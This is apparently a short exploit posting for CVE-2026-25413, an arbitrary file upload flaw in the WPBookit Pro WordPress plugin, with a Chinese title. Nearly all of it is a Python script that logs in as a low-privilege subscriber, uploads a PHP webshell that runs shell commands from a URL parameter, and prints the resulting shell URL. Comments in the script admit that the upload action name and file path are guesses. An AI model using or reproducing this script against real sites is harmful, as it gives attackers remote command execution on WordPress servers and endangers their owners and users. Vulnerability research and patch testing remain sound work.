CVE-2026-25413 WPBookit Pro任意文件上传漏洞

import requests # Target configuration target_url = "http://example.com" login_url = f"{target_url}/wp-login.php" upload_endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Common endpoint for WP plugins # Attacker credentials (low privilege) username = "subscriber" password = "password" # Initialize session session = requests.Session() # 1. Authenticate to the WordPress site print("[+] Attempting to login...") data = { "log": username, "pwd": password, "redirect_to": "", "wp-submit": "Log In" } login_response = session.post(login_url, data=data) if "wp-admin" in login_response.text: print("[+] Login successful.") else: print("[-] Login failed.") exit() # 2. Prepare malicious file payload (PHP Webshell) # The vulnerability allows dangerous types, so .php is likely accepted shell_content = "<?php system($_GET['cmd']); ?>" files = { # 'file' field name depends on the plugin's specific implementation 'file': ('exploit.php', shell_content, 'application/octet-stream') } # 3. Construct the upload request # 'action' parameter usually triggers the specific plugin function payload_data = { "action": "wpbookit_upload_action" } print("[+] Uploading malicious file...") upload_response = session.post(upload_endpoint, files=files, data=payload_data) # 4. Check if upload succeeded if upload_response.status_code == 200: print("[+] Upload request sent. Check response:") print(upload_response.text) # If the response contains the file path or success message, construct the shell URL # Assuming the upload directory is /wp-content/uploads/wpbookit-pro/ shell_url = f"{target_url}/wp-content/uploads/wpbookit-pro/exploit.php" print(f"[+] Potential Shell URL: {shell_url}?cmd=ls") else: print("[-] Upload failed.")